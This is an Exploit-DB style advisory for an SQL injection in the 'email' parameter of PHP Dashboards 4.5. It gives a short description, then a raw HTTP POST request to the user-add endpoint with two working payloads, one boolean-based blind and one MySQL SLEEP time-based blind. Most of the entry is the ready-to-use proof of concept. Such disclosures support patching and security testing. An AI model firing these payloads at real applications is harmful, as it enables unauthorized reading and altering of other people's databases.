PHP Dashboards 4.5 - 'email' SQL Injection

EDB-ID: 44714
Author: AkkuS
Published: 2018-05-23
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Dork: N/A 
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage:
# Version: v4.5
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.

# PoC : SQLi :

POST /php/save/user.php?mode=add HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 156
Cookie: PHPSESSID=kbnho15754hdrgf4aokv8c1a35
Connection: keep-alive

Vulnerable Payload :

Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [email protected]' AND 3667=3667 AND
'ksGc'='ksGc&password=test123&dashboardKey=&url=[email protected]

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: [email protected]' AND SLEEP(5) AND
'iStK'='iStK&password=test123&dashboardKey=&url=[email protected]


Related Posts